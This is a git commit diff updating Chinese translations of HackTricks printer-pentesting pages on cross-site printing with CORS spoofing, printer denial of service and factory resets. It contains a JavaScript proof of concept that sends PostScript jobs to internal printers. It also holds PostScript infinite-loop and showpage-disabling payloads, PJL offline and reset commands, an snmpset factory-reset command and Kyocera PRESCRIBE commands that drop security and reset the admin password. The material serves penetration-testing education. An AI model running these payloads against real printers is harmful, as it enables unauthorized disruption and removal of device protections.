Translated ['network-services-pentesting/pentesting-printers/cross-site-

This commit is contained in:
Translator 2024-01-08 12:42:06 +00:00
parent 8f4a291f90
commit b5a4df33ae
23 changed files with 616 additions and 760 deletions

View file

@ -1,29 +1,27 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>零基础学习AWS黑客技术直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
您可以让用户向多个IP的端口9100发送HTTP POST请求尝试连接到开放的原始打印端口。如果找到根据打印机的设置**HTTP头要么以纯文本形式打印要么被丢弃**。然而,**POST数据**可以包含任意的打印作业,如**PostScript**或**PJL**命令进行**解释**。
您可以让用户向多个IP的9100端口发送HTTP POST请求尝试连接一个开放的原始打印端口。如果找到**HTTP头要么以纯文本形式打印要么根据打印机的设置被丢弃**。然而,**POST数据**可以**包含**任意打印任务,如**PostScript**或**PJL**命令以供**解释**。
### 增强的跨站点打印
您可以使用XMLHttpRequest (XHR) JavaScript对象来执行对内部打印机的HTTP POST请求。迄今为止讨论的跨站点打印方法的一个限制是,由于同源策略,**数据只能发送到设备****无法接收**。为了**突破**同源策略的限制,您可以**使服务器**响应一个虚假但**有效的HTTP响应**允许CORS请求包括`Access-Control-Allow-Origin=*`)。攻击的示意图如下所示
您可以使用XMLHttpRequest (XHR) JavaScript对象来执行对内部打印机的HTTP POST请求。到目前为止讨论的跨站点打印方法的一个限制是,由于同源策略,**数据只能发送到设备****不能接收**。为了**绕过**同源策略的**限制**,您可以**让** **服务器**响应一个虚假但**有效的HTTP响应**允许CORS请求包括`Access-Control-Allow-Origin=*`)。下面给出了攻击的示意概览
![使用CORS欺骗的高级跨站点打印](http://hacking-printers.net/wiki/images/thumb/c/ce/Cross-site-printing.png/900px-Cross-site-printing.png)
![具有CORS欺骗的高级跨站点打印](http://hacking-printers.net/wiki/images/thumb/c/ce/Cross-site-printing.png/900px-Cross-site-printing.png)
在这种增强的XSP变体中结合了CORS欺骗网络攻击者可以完全访问HTTP响应从而允许他提取打印设备中的任意信息如捕获的打印作业。下面是一个概念验证的JavaScript代码片段
在这种增强型的XSP中 结合CORS欺骗 网络攻击者可以完全访问HTTP响应这使他能够提取打印机设备中的任意信息如捕获的打印作业。下面展示了一个概念验证的JavaScript代码片段
```javascript
job = "\x1B%-12345X\r\n"
+ "%!\r\n"
@ -48,43 +46,41 @@ alert(x.responseText);
```
### 跨站打印的限制
请注意,作为页面描述语言的PCL不适用于CORS欺骗因为它只允许回显一个单一的数字。同样PJL也不能使用因为不幸的是它在所有回显的字符串前面添加了`@PJL ECHO`这使得模拟有效的HTTP头部变得不可能。然而这并不意味着增强的XSP攻击仅限于PostScript作业可以使用PostScript来响应伪造的HTTP头部并且[UEL](./#uel)可以进一步调用以切换打印机语言。这样网络攻击者也可以获取PJL命令的结果。存在两个实现陷阱值得一提首先需要使用PostScript确定要响应的数据的正确`Content-Length`。如果攻击者无法预测响应的总大小,且分块编码也不是一个选项,她需要设置一个非常高的值并使用填充。其次,添加`Connection: close`头字段很重要否则HTTP/1.1连接将保持活动状态直到Web客户端或打印机设备触发超时,这意味着打印机在一段时间内无法访问。
请注意,作为页面描述语言的**PCL** **不适用于CORS欺骗**,因为它只允许**回显单个数字**。不幸的是,**PJL同样不能使用**,因为它会在所有回显的字符串前添加`@PJL ECHO`这使得模拟有效的HTTP头部变得不可能。然而这并**不**意味着**增强型XSP攻击**仅限于**PostScript**作业PostScript可以用来响应一个伪造的HTTP头部而且[**UEL**](./#uel)**可以进一步被调用来切换打印机语言**。这样网络攻击者也可以获取PJL命令的结果。存在两个实现上的陷阱值得一提首先需要用PostScript确定要响应的数据的正确`Content-Length`。如果攻击者无法预测响应的总大小,且分块编码也不是一个选项,她需要设置一个非常高的值并使用填充。其次,添加`Connection: close`头部字段很重要否则HTTP/1.1连接会保持活动状态,直到网络客户端或打印机设备触发超时,这意味着打印机在一段时间内无法访问。
如果打印机设备支持纯文本打印则XHR的HTTP请求头将被打印为硬拷贝包括包含调用恶意JavaScript的URL的`Origin`头字段因此对于攻击者来说很难保持沉默。这是不可避免的因为我们无法控制打印机并且在处理HTTP正文并且打印机设备已经将HTTP头部解释为纯文本之前无法禁用打印功能。如果减少噪音是优先考虑的攻击者可以尝试使用专有的PJL命令首先禁用打印功能如[PJL jobmedia](http://hacking-printers.net/wiki/index.php/Document\_processing#PJL\_jobmedia)中提到的使用其他潜在的XSP通道如IPP、LPD、FTP或打印机的嵌入式Web服务器。虽然所有协议都可以成功地测试使用跨协议脚本部署打印作业但它们除了不使用伪造的CORS头部提供反馈之外还存在一些缺点:
**如果**打印机设备支持**纯文本打印**XHR的**HTTP请求**头部将被打印出硬拷贝 - 包括包含调用恶意JavaScript的URL的`Origin`头部字段,这使得攻击者**难以保持隐秘**。这是不可避免的,因为我们无法控制打印机 - 并且在某些情况下可以禁用打印功能 - 直到HTTP正文被处理并且HTTP头部已经被打印机设备解释为纯文本。如果减少干扰是优先事项攻击者可以尝试**首先使用专有的PJL命令禁用打印功能**,如在[PJL jobmedia](http://hacking-printers.net/wiki/index.php/Document_processing#PJL_jobmedia)中提出的使用其他潜在的XSP通道如IPP、LPD、FTP或打印机的嵌入式网络服务器。虽然所有协议都能成功地使用跨协议脚本的变体来部署打印作业但它们除了不提供使用伪造的CORS头部的反馈之外还有一些缺点:
- 各种Web浏览器阻止对LPD和FTP端口的跨协议访问
- 直接通过嵌入式Web服务器进行打印的参数是特定于型号
- IPP标准要求将HTTP POST请求的`Content-type`设置为`application/ipp`而XHR对象无法完成此操作-然而,实际上是否关心不正确的类型取决于实现
* 各种网络浏览器阻止了对LPD和FTP端口的跨协议访问
* 通过嵌入式网络服务器直接打印的参数是特定于模型
* IPP标准要求HTTP POST请求的`Content-type`设置为`application/ipp`这不能通过XHR对象完成 - 但是否真的关心错误类型取决于实现
表比较了不同的跨站打印通道
面给出了跨站打印通道的比较
| 通道 | 端口 | 无反馈 | 未经请求的打印输出 | 标准化 | 被阻止的浏览器 |
| ------ | ---- | ------ | ------------------ | ------ | -------------- |
| 通道 | 端口 | 无反馈 | 未经请求的打印输出 | 标准化 | 被阻止的 |
| ----- | ---- | ------ | ------------------ | ------ | ------------ |
| Raw | 9100 | - | ✔ | ✔ | - |
| Web | 80 | ✔ | - | - | - |
| IPP | 631 | ✔ | - | ✔ | - |
| LPD | 515 | ✔ | - | ✔ | FF, Ch, Op |
| FTP | 21 | ✔ | - | ✔ | FF, Ch, Op, IE|
XSP的一个主要问题是找到打印机的正确地址或主机名。我们的方法是滥用大多数现代浏览器中实现的WebRTC它具有枚举本地网络接口的IP地址的功能。给定本地IP地址我们进一步使用XHR对象打开到剩余253个地址的9100/tcp端口的连接使用PostScript和CORS欺骗来检索打印机产品名称这在我们的测试中只需要几秒钟。如果打印机与受害者主机位于同一子网上可以仅使用JavaScript检测到其地址。WebRTC正在为Safari开发并且受到当前版本的Firefox、Chrome和Microsoft Edge的支持。Internet Explorer不支持WebRTC但是VBScript和Java同样可以用于泄漏本地IP地址。如果无法检索到本地接口的地址我们采用智能暴力破解方法我们尝试使用XHR对象连接到受害者路由器的80端口。为此从各种可访问互联网资源中编译了一个包含115个默认路由器地址的列表。如果可以访问路由器我们将按前面描述的方式扫描子网以查找打印机。
XSP的一个主要问题是**找到**打印机的**正确地址**或主机名。我们的方法是**滥用WebRTC**它在大多数现代浏览器中实现并具有枚举本地网络接口IP地址的功能。给定本地IP地址XHR对象进一步用于打开连接到端口**9100/tcp**对所有剩余的253个地址使用PostScript和CORS欺骗来检索打印机产品名称这在我们的测试中只需几秒钟。如果打印机与受害者主机在同一子网上其地址可以仅使用JavaScript检测到。WebRTC正在为Safari开发并得到了Firefox、Chrome和Microsoft Edge当前版本的支持。Internet Explorer不支持WebRTC但VBScript和Java同样可以用来泄露本地IP地址。如果无法检索到本地接口的地址我们采用智能暴力破解方法我们尝试使用XHR对象连接到受害者路由器的80端口。为此我们编制了一个包含115个来自各种互联网可访问资源的默认路由器地址的列表。如果可以访问路由器我们将按前述方法扫描子网中的打印机。
## 概念验证
可在[hacking-printers.net/xsp/](http://hacking-printers.net/xsp/)找到一个概念验证实现,证明了高级跨站打印攻击是实际可行的,对公司和机构构成了真实威胁。
一个概念验证实现表明,高级跨站打印攻击是实际可行的,并且对公司和机构构成了现实世界的威胁,可在[hacking-printers.net/xsp/](http://hacking-printers.net/xsp/)查看
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的公司广告吗或者您想获得PEASS的最新版本或下载PDF格式的HackTricks吗请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,21 +1,19 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
页面描述语言允许无限循环或需要大量计算时间的计算。即使是[PCL](http://hacking-printers.net/wiki/index.php/PCL)这样的极简语言也可以用来上传永久宏或字体,直到可用内存被消耗完。
页面描述语言允许无限循环或需要大量计算时间的计算。即使是[PCL](http://hacking-printers.net/wiki/index.php/PCL)这样的极简语言也可以用来上传永久宏或字体,直到可用内存被消耗完。
# PostScript
@ -37,7 +35,7 @@ Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
```
## 重新定义 showpage
通过将`showpage`设置为什么都不做即可阻止PostScript作业打印页面
通过设置 `showpage` —— 每个文档实际打印页面时都会用到的命令 —— 为完全不执行任何操作PostScript 作业在处理时将不会打印任何内容
```
true 0 startjob
/showpage {} def
@ -51,7 +49,7 @@ Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality
```
两种攻击代码也可以写入Sys/Start、startup.ps或类似的文件中,以在具有可写磁盘的设备上造成**永久的拒绝服务DoS**。
两种攻击代码也可以写入Sys/Start、startup.ps或类似文件中,以对具有可写磁盘的设备造成**永久性DoS**。
# PJL
@ -73,7 +71,7 @@ Printing functionality: OFF
```
## 离线模式
此外PJL标准定义了`OPMSG`命令,该命令“提示打印机显示指定的消息并进入离线模式” \cite{hp1997pjl}。可以使用此命令模拟纸张卡住的情况,如下所示
此外PJL 标准定义了 `OPMSG` 命令,该命令“提示打印机显示指定消息并进入离线状态”\cite{hp1997pjl}。如下所示,这可以用来模拟纸张卡纸
```
@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"
```
@ -88,21 +86,18 @@ Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
```
**了解更多关于这些攻击的信息,请访问** [**http://hacking-printers.net/wiki/index.php/Document\_processing**](http://hacking-printers.net/wiki/index.php/Document\_processing)
**了解更多关于这些攻击的信息** [**http://hacking-printers.net/wiki/index.php/Document\_processing**](http://hacking-printers.net/wiki/index.php/Document\_processing)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗?你想在 HackTricks 中**宣传你的公司**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧**
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。**
</details>

View file

@ -1,37 +1,35 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>零基础学习 AWS 黑客技术直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
**将设备恢复到出厂设置**是一项安全关键的功能,因为它会**覆盖用户设置的密码**等保护机制。通常可以通过在打印机的**控制面板**上按下**特殊的组合键**来完成此操作。执行这样的冷重置只需要几秒钟,因此对于本地攻击者或渗透测试人员来说,这是一个现实的场景,他们可以在午餐时间潜入复印室。然而,**并不总是可以物理访问**设备。
将设备**重置**为出厂默认设置是一项安全关键功能,因为它会**覆盖保护机制**,如用户设置的密码。这通常可以通过在打印机的**控制面板**上按下**特殊键组合**来完成。执行这样的冷重置只需几秒钟,因此对于本地攻击者或渗透测试人员来说是一个现实的场景,例如他们可以在午餐时间潜入复印室。然而,**物理访问**设备**并非总是一个选项**
### SNMP
打印机MIB定义了**prtGeneralReset**对象(**OID 1.3.6.1.2.1.43.5.1.1.3.1**允许攻击者使用SNMP重新启动设备powerCycleReset(4)重置NVRAM设置resetToNVRAM(5)或恢复出厂设置resetToFactoryDefaults(6))。这个功能/攻击**支持各种各样的打印机**并删除了嵌入式Web服务器的用户设置密码等所有保护机制。虽然保护机制可以有效地绕过但这种方法的一个实际缺点是所有**静态IP地址配置将丢失**。**如果没有DHCP**服务可用,攻击者将**无法**在将设备重置为出厂设置后**重新连接**到设备。
打印机-MIB 定义了 **prtGeneralReset** 对象(**OID 1.3.6.1.2.1.43.5.1.1.3.1**),它允许攻击者使用 SNMP 重启设备powerCycleReset(4))、重置 NVRAM 设置resetToNVRAM(5)或恢复出厂默认设置resetToFactoryDefaults(6))。这个功能/攻击**被大量打印机支持**,并移除了所有保护机制,如嵌入式网络服务器的用户设置密码。虽然可以有效绕过保护机制,但这种方法的实际缺点是所有**静态 IP 地址配置将丢失**。**如果没有 DHCP** 服务,攻击者在将设备重置为出厂默认设置后将**无法**再次**连接**到设备。
可以使用以下`snmpset`命令将设备恢复到出厂默认设置(你需要知道**community string**,在大多数情况下默认为`public`
可以使用下面显示的 `snmpset` 命令**将设备重置为出厂默认设置**(您需要知道**社区字符串**,在大多数情况下默认是 `public`
```bash
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
```
### [PML](./#pml)/[PJL](./#pjl)
在许多情况下攻击者由于防火墙或未知的SNMP社区字符串而无法执行SNMP请求。然而在**HP设备**上,**SNMP**可以转换为其**PML表示**并将请求嵌入到合法的打印作业中。这使得攻击者可以在普通的打印作业中**重新启动和/或重置设备**为出厂默认设置,如下所示:
在许多情况下攻击者由于防火墙或未知的SNMP社区字符串而无法执行SNMP请求。然而在**HP设备**上,**SNMP**可以转换为其**PML表示**并将请求嵌入到合法的打印作业中。这允许攻击者在普通打印作业中**重新启动和/或重置设备**至出厂默认设置,如下所示:
```bash
@PJL DMCMD ASCIIHEX="040006020501010301040106"
```
任何人都可以在惠普打印机上复制这种攻击,使用[**PRET**](https://github.com/RUB-NDS/PRET)可以轻松地重新启动或重置设备
任何人都可以使用 [**PRET**](https://github.com/RUB-NDS/PRET) 重现对惠普打印机的攻击,通过重启或重置设备可以轻松复现
```bash
./pret.py -q printer pjl
Connection to printer established
@ -42,9 +40,8 @@ printer:/> restart
```
### PostScript
PostScript提供了一个类似的功能**FactoryDefaults**系统参数,它是一个标志,如果在打印机关闭之前将其设置为**true**,则会在下次开机时将所有非易失性参数恢复为其**出厂默认值**。需要注意的是,**PostScript**本身也具有重新启动其**环境**的能力,但需要一个**有效的密码**。
然而,正如在[文档处理](http://hacking-printers.net/wiki/index.php/Document\_processing)的DoS攻击中讨论的那样PostScript解释器可以被置于一个**无限循环**中,这会迫使用户**手动重新启动**设备从而重置PostScript密码。
PostScript 提供了一个类似的功能:**FactoryDefaults** 系统参数,‘一个标志,如果在**打印机关闭前立即设置为 true**,会导致所有非易失性参数在下次开机时恢复到它们的**出厂默认**值。’ 需要注意的是,**PostScript** 本身也有能力**重启**其**环境**,但它需要一个**有效的密码**。\
然而PostScript 解释器可以被置入一个**无限循环**,如在 [文档处理](http://hacking-printers.net/wiki/index.php/Document\_processing) DoS 攻击中讨论的那样,这迫使用户**手动重启**设备,从而重置 PostScript 密码。
将 PostScript 系统参数重置为出厂默认值:
```bash
@ -54,7 +51,7 @@ PostScript提供了一个类似的功能**FactoryDefaults**系统参数,它
```bash
true 0 startjob systemdict /quit get exec
```
任何人都可以使用[**PRET**](https://github.com/RUB-NDS/PRET)轻松地重新启动或重置打印机的PostScript解释器
任何人都可以重启或重置打印机的PostScript解释器这可以通过使用[**PRET**](https://github.com/RUB-NDS/PRET) **轻松复现**
```bash
./pret.py -q printer ps
Connection to printer established
@ -65,28 +62,25 @@ printer:/> restart
```
### PRESCRIBE
对于**Kyocera设备**,可以使用**PRESCRIBE页面**描述语言通过以下命令之一在普通打印作业中将设备**恢复到出厂默认设置**
对于 **Kyocera 设备****PRESCRIBE 页面** 描述语言可以用来通过下面显示的命令之一,在普通打印作业中将设备**重置为出厂默认设置**
```bash
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
```
要重现此攻击请打开到打印机的9100/tcp端口的原始网络连接并**发送上述记录的命令**。
要复现这种攻击请打开一个到打印机9100/tcp端口的原始网络连接并**发送上文记录的命令**。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
